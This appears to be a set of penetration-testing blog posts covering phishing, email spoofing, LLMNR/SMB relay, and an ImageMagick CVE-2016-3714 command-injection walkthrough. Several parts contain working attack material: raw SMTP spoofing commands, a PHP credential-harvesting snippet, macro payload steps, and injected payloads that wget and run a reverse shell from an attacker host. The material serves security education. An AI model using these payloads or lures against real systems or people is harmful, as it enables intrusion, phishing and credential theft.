From penetration testing to real world attacks, Phishing remains to be an extremely effective way to establish a foothold into a target organization. This blog post is a follow-on to “5 Ways We Get On Your Network” with a closer look at Phishing and it’s various techniques. Phishing is essentially sending a malicious email to target users with the intent of having them perform some action (Click a link, Open an attachment, etc.).
This will be a longer post so here is a quick overview:
1) Outcome of Engagement: What Happens Once The User Clicks?
From a testing perspective, we conduct various types of phishing engagements to accomplish one of these three (3) outcomes:
2) Determining the Phishing Scenario
The goals of an assessment and Rules of Engagement (RoE) will dictate the type of phishing exercise that we leverage. In some instances we model a common threat (Ex: Ransomware), and in other instances we attempt to model a more targeted attacker or campaign.
2.1) Picking a Domain
Depending on the phishing scenario we will register domain names to be used for the attack. An example phishing campaign scenario is a UPS Tracking email. For this UPS Tracking scenario we would register a domain like “upspkgtracking.com”. For more targeted scenarios we may register a domain name that very closely resembles the target organization, potentially removing a single letter from the companies domain name (Ex: “breakpoint-labs.com” vs. “breakpoint-lab.com”) essentially we are using a doppelganger approach.
2.2) Register Your Domain With Proxies
With regards to the domain it is a good idea to submit your domain and register it to various web content filters. Some filter entities are more strict than others in validating your domain so if possible leave real content up to be classified and indexed like a blog. This can help with more restrictive environments that block domains based on web content filters. An example of this is BlueCoat, which allows you to submit and categorize domains here (Usually approved within 24 hours).
2.3) Testing the Phishing Email
Once everything is worked out we suggest testing the phishing email, potentially your testing POC from the target organization if allowed. Below is an example of a finalized phishing email for the UPS Tracking scenario described above:
3) Finding Vulnerabilities
Prior to conducting the phishing engagement we will normally perform some testing to see if we can identify any spoofing vulnerabilities, abuse features in web applications to send email, or potentially compromise an account to use.
3.1) Identifying Spoofing Vulnerabilities:
More often than not we find that customers mail servers do not have adequate protections in place for spoofing emails. We are able to telnet to their mail servers and manually create the email headers that forge the part of the email which Outlook actually displays to the user. Below are the steps to perform this testing, keep in mind you may need to play around with various components in order to get your spoofing to actually work.
Determine the mail servers for the target domain:
[code lang=”py”]~$ host breakpoint-labs.com[/code]
Connect to the mail server:
[code lang=”py”]~$ telnet alt2.aspmx.l.google.com 25[/code]
Attempt to forge the email with spoofed headers:
[code lang=”py”]
HELO google.com
MAIL FROM: <hacker@breakpoint-labs.com>
RCPT TO: <victim@breakpoint-labs.com>
DATA
From: “Hacker” <hacker@breakpoint-labs.com>
To: “Victim” <victim@breakpoint-labs.com>
Subject: Phishing Demo
Hey Victim,
This is a demo for email spoofing, click this link: http://phishing-link-demo.com/
.
[/code]
Below is an example of a phishing email that was sent using Gmail, but to the user it looks like it is coming from the Help Desk:
3.2) Contact Us Email Abuse
Sometimes the target organization web applications allow you to send emails. How often have you seen a “Contact Us” or “Feedback” form that allowed you to submit an email? In our experience these are fairly common and if they are not properly secured they can lead to email spoofing vulnerabilities.
Consider the following Contact Us Page:
On the surface this looks fine, but if you look behind the scenes with a web proxy you can see the following HTTP POST request:
In this instance all the variables to generate the email are passed via an HTTP POST request, which opens the door for an attacker to modify. When we encounter these scenarios we can often control the parameters of the email, allowing us to send email as anyone in the target organization.
3.3 Account Compromise
If you are able to compromise a legitimate user account you can have a higher level of trust with your phishing campaign. We will not dig too deep into this particular method as we plan to cover it in a later blog post.
4) Executing The Attack
For actually executing the attack we prefer to send email using Python. This allows us to control all the aspects of the phishing campaign using a quick script. We will use variations of this script to actually send the email. Some other tools already exist and can help with crafting a phishing campaign include:
Some of these tools help simplify the generation attack payloads like Empire. Other tools, like GoPhish, are geared mainly for analytics like click analysis and phishing engagement management.
4.1) Click Analysis:
In our testing a lot of the tools that are designed for click analysis can generate links that are commonly blocked by anti-spam technologies. It is important to test your phishing scenario prior to firing off an email to all your targets in scope. If not properly tested your phishing campaign can be ruined because its either not delivered or the URL is stripped within the body of the email.
The tools that aid with click analysis can be flagged by spam filters often because they generally leverage a long unique string per email. Based on which URL is accessed in web logs they can determine which user clicked the link. To counter this we use python to create a far less complex link structure that is still unique for our target users, but does not contain the complexity that flags the email spam filter(s).
4.2) Credential Gathering:
Credential gathering can be simplified with tools like the Social Engineering Toolkit (SET), which have built-in modules to support this type of attack. Additionally, you can create your own PHP snippet to accomplish the task of credential grabbing. Below is a quick snippet of PHP that will prompt users for credentials via HTTP Basic authentication. You would obviously want to modify the code to meet your specific phishing scenario, like storing the credentials to a file on the server vs. echoing to the screen:
[code lang=”php”]
<?php
if (!isset($_SERVER[‘PHP_AUTH_USER’])) {
header(‘WWW-Authenticate: Basic realm=”Secure Page”‘);
header(‘HTTP/1.0 401 Unauthorized’);
echo ‘Please Supply Credentials to Login;
exit;
} else {
echo “<p>Hello {$_SERVER[‘PHP_AUTH_USER’]}.</p>”;
echo “<p>You entered {$_SERVER[‘PHP_AUTH_PW’]} as your password.</p>”;
}
?>
[/code]
When the user visit’s the page they are presented with something similar to this prompt requesting their credentials before accessing the sites contents:
4.3) Code Execution:
Our favorite tool to aid with code execution in phishing engagements is Empire. Some common ways to accomplish code execution is by shoveling payloads into word docs (Office Macros, Embedding and Objective Linking and Embedding (OLE) Object), or hosting a malicious HTML Application (HTA). Lets explore the Office Macro technique in more detail.
The Microsoft Office Marco attack vector remains a very popular method for getting code execution via Phishing on Windows platforms. Once a document is setup for the attack the user just has to open it and enable the macro (See Image Below). Normally you can set it up so the user thinks they need to enable the macro in order to see the actual document contents.
Step 1: Generate the Payload
Empire can be used to setup the macro payload:
Step 2: Add Payload (Macro) to Office Document
Step 3: Save the document as “Excel Macro-Enabled Workbook”:
Step 4: Test Malicious Document and Email to Targets
Step 5: Get Initial Foothold
If you are interested in learning more about Phishing and Empire we suggest checking out this blog here.
5) Protection Against Phishing Attacks:
This will be the first blog post in a series designed to demonstrate how we commonly establish a foothold into a target network. Each blog post will dive into one of these common techniques at a deeper level, showing some practical application and defenses.
The goal of this series is to help educate those who are new to penetration testing and hacking techniques. We tend to see the same mindset applied when we speak to those new to pentesting “Scan something with Nessus to find the vulnerability, and then exploit it…Right?”. This is very far from reality when we talk about pentesting or even real world attacks. When performing penetration testing and red team engagements, we often find these five (5) techniques to be highly effective at establishing an initial foothold into the target network:
Big surprise here, phishing actually works. There is a lot to this particular method as you may be able to spoof email to the target by using a configuration flaw in their mail servers, using a compromised account, or even a vulnerability in their web applications. Taking advantage of a spoofing flaw or using a compromised account will likely increase your chance of success, as the phishing email will result in a higher level of trust.
We commonly leverage phishing to perform the following:
Applications are literally everywhere! Whether an application is on the internal or external network of a company often we can still find vulnerabilities and flaws across these systems. Web applications can vary a lot depending on their purpose and complexity. As a result an application that is more dynamic in nature will often have more vulnerabilities and flaws. These web application vulnerabilities can vary but typically lead back to a lack of input validation occurring or a misconfiguration within the technology being at fault.
We commonly find web application vulnerabilities through the following avenues:
We talk a lot more about web application specific testing during our RVAsec 2016 Talk
Link-Local Multicast Name Resolution (LLMNR) and NetBIOS-NS are ways Windows resolves hostnames to an IP address. This multicast name resolution is used if DNS fails to resolve the hostname, and occurs very frequently on enterprise Windows networks. These protocols can be poisoned and can allow an attacker to gain access to usernames and password hashes (most commonly NetNTLMv2). An awesome tool called Responder, can be used to accomplish this attack, and in our experience will very quickly spill out usernames and password hashes (NetNTLMv2) from modern Windows environments.
To take advantage of these hashes you can either crack them, or relay them (see technique 4). NetNTLMv2 hashes can not be used like traditional Windows hashes to “Pass The Hash”, but combining password cracking techniques and SMB relay techniques you can have a lot of success.
By establishing a malicious SMB server we can relay network authentication attempts from legitimate servers. Software updates, inventory, and patch management systems will very commonly spray credentials across the network. Once these systems attempt to authenticate to the malicious server we can relay the credentials to a victim system (assuming SMB signing is not enabled).
This technique can be combined with Responder to relay the NetNTLMv2 hashes, you can use the built-in Responder SMBrelay.py, or our preference is to use the Impacket smbrelayx.py script.
Humans are terrible with passwords, no surprise here. Often times we find that many companies lack a strong account and/or password policy, which as a result allows several systems on their network to be highly vulnerable to account compromise. Even worse once weak passwords are allowed on your network they are often shared across systems and accounts/passwords are re-used to simplify access for your users.
We commonly see the following factors as some of the leading causes to account compromise:
It should be noted this is not a complete list of methods to establish a foothold and that every assessment is different, often requiring additional techniques to be leveraged. Once an initial foothold is established the assessment can go in many different directions based on the goals and established Rules of Engagement (RoE). Remember the value to your customer is to demonstrate risk, reach the goals of the assessment, and to stay within the Rules of Engagement (RoE); establishing a foothold is merely a means to an end.
Stay tuned, future blog posts will dive into each of these areas with sample code, examples, etc.
RVAsec is the first Richmond, Virginia, security convention to bring top speakers to the mid-atlantic region. The conference was held on Thursday, June 2nd and Friday June 3rd 2016 at the Commonwealth Ballroom at VCU’s University Commons.
Beyond Automated Testing – By Zack Meyers and Andrew McNicol
Have you ever run a vulnerability scan and thought “Okay… now what?” This talk is all about how to go beyond automated testing to find vulnerabilities that scanners miss. The goal of the talk is to help inspire others to reach beyond Nessus and Burp Suite scans to help their organization identify vulnerabilities that expose high impact risk.
Video: Link Here
Slides:
This past week a very interesting vulnerability (CVE-2016-3714) came out affecting ImageMagick – software used to convert, edit, and manipulate images. The main attack vectors for the vulnerability are going to be web applications that leverage the software for image modification. Now the software package adds some additional functionality for us attackers #RCE 🙂
When input is being passed to a system call, an attacker is able to finish out the command string and pipe another command to run. Below is an example that would run the command “ls -la”:
image Over 0,0 1,1 ‘url(https://example.com/image.jpg”|ls “-la)’
Lots of good blogs have been written (here, here, and here) describing the vulnerability and exploitation, but most show the PoC exploit using the ImageMagick command line utilities. It might not be obvious that these same functions are built into web applications and can lead to code execution via exploitation. This blog will introduce a trivial example of HTML/PHP to show what this vulnerability looks like in a web application. Here is a link to our github repository for the vulnerable HTML/PHP PoC.
The code examples above require Apache/PHP and imagick-php5 installed. Then you can simply drop these files into the web root for your web server (example “/var/www/html”), and these should work. If you have some errors you can enable PHP errors in the php.ini file to investigate beyond the PHP white screen of death.
Before we demo the vulnerability we should note that in this instance exploitation leads to blind command execution. When dealing with blind RCE you can’t rely on payloads that require visual inspection to determine success (example “cat /etc/passwd”). The “cat /etc/passwd” may be actually working but you do not get to see the output (STDOUT) or errors (STDERR) of your command execution. This means you should start with very simple payloads that make some sort of connection back to you.
This can be a simple ping command “/bin/ping -c 2 [attacker-ip]” (be sure to use -c as otherwise the ping process may never end!). As a best practice, we also suggest providing the full path to the binary “/bin/ping” vs. “ping” because you can’t always assume the binary will be in the $PATH when exploiting something. These concepts apply to all blind command execution vulnerabilities: start with a simple payload that connects back to you, then leverage the full path.
Once you validate the simple payload works you can move to a more complex payload to accomplish something more interesting, such as spawning a reverse shell, uploading a web shell, or backdooring a legitimate file on the web application. When thinking about your more complex payloads consider the system you’re exploiting: what is installed on the box? (netcat, curl, wget, php, perl, python, etc.). You can even take a minimalist approach and use “/dev/tcp” to spawn a reverse shell. If this concept seems new, we suggest checking out pentest monkey’s reverse shell cheat sheet.
For this example we are going to use wget to pull over a Python reverse shell from Pentest Monkey and then execute the script. You might be tempted to just run some automated Metasploit module, or script from exploit-db, but try exploiting it manually to learn more about interacting with a vulnerable system via blind RCE. Developing these skills will be very valuable when troubleshooting exploitation if the exploit module/script doesn’t work as expected. Below are the series of commands we’ll leverage to exploit this vulnerability:
# [local-box] Start a web server on your attacker box:
~$ python -m SimpleHTTPServer 8000
# [local-box] Start a listener for your reverse shell:
~$ nc -lvp 443
# [Exploit-RCE] Pull over the shell to the tmp directory:
fill ‘url(https://fake-site.com/1.png”|/usr/bin/wget “http://attacker-ip:port/shell.py” -O /tmp/shell.py”)’
# [Exploit-RCE] Make the script executable:
fill ‘url(https://fake-site.com/1.png”|chmod “a+x” /tmp/shell.py”)’
# [Exploit-RCE] Execute the reverse shell Python script:
fill ‘url(https://fake-site.com/1.png”|python /tmp/shell.py”)’
From this point, you should have a more reliable way to execute commands interacting with the vulnerable system. As stated earlier, you have a lot of options for blind RCE, practice with this method, or maybe pulling over another type of binary such as Meterpreter. As another exercise for the reader, try to leverage encrypted communication techniques to avoid trivial detection via cleartext command strings.
< Overview >
In this talk, we’ll walk through utilizing one of the most popular web vulnerability testing frameworks Burp Suite. During this presentation we will cover the process of how to conduct a successful web penetration tests, while utilizing Burp Suite’s features and tools (Free and Pro Version). This discussion will also cover realistic examples and a brief overview of common vulnerabilities found in web applications. This talk was given live at the DC Cyber Warriors Meetup group on 04/06/2016.
< Outline >
< Slides >
< Video >
https://www.youtube.com/watch?v=5_qknTFafqI
A stack based buffer overflow in the “getadrrinfo” function in glibc is currently trending as a critical severity vulnerability. The full scope of affected products are not currently none, but are suspected to include linux binaries such as ssh, sudo, and curl. The vulnerability should be patched across Linux distributions leveraging all versions of glibc after 2.9 which are deemed vulnerable. (Version 2.9 was introduced in May 2008).
Exploitation is non-trivial because you need to bypass ASLR in Linux and other OS defense mechanisms. The PoC that Google released now writes B’s “0x42” to random places in memory. Going from those randomly placed B’s to reliable code execution is a non-trivial, and currently no public PoC exists.
Reflected XSS in Cisco ASA devices:
Cisco ASA devices are currently vulnerable to a reflected XSS vulnerability in the password recovery portion of the application. The vulnerability is caused by the password recovery form failing to properly filter hidden input fields. This vulnerability can be leveraged by an attacker to capture victim login credentials.
OceanLotus Malware posing as Flash update:
Malware targeting OS X operating systems is currently circulating disguised as an Adobe Flash update. Currently the software is not seen as malicious by any of the 55 anti-virus solutions by VirusTotal, and appears to have been targeting Chinese infrastructure at one time.
Apple Opposes Court Order in San Bernardino Case:
Apples CEO Tim Cook has defiantly challenged a U.S federal magistrate judge’s order that would help the FBI break into an iPhone 5c belonging to one of the shooters involved in last December’s attack in San Bernardino, Calif. Cook released a letter expressing his opposition to the court order and called for a public discussion about the implications the decision could have on privacy and security moving forward.
BSOD and Privilege Escalation POC for Windows 7/10 (CVE-2016-0051):
Source code for the BSOD and Privilege Escalation (to SYSTEM) vulnerability has been publicly released. The vulnerability occurs in the WebDAV client and allows users to gain elevated privileges via a crafted application.
Hospital Pays 17k Ransom to Hackers who sealed all its sensitive files:
The cost of the impact and having no clear options to decrypt their files left the Hospital with little option but to pay out the 17k to the attackers. This gives validity to a scary business model for ransomware targeting larger organizations vs. individuals.
CCTV found taking screen shots and sending to a Chinese Email address
Comodo Internet Security installs and enables a VNC server:
When Comodo Internet Security is installed, an application called “GeekBuddy” is also installed which has a lot of shady business tactics to encourage users to pay for online tech support. In addition, it installs a VNC server and enabled it by default.
New tool that packages several open source hacking tools to make for a more user friendly experience.
Interesting read on attacking OWA
< Overview >
This talk is all about how to go beyond automated tools to hunt for vulnerabilities. I discuss a lot of tips and tricks for use in external security assessments. This talk was given live at the DC Cyber Warriors Meetup group on 02/09/2015.
< Outline >
< Slides > Link Here (HTML Version)
http://www.slideshare.net/j0b1n/pentesting-tips-beyond-automated-testing
< Video >
Overview:
This webcast is hosted by Andrew, Luke, and Zack and we discuss tips and tricks for starting your InfoSec career. The goal of this webcast is to share our knowledge and experience to help students bridge the gap between college and career.
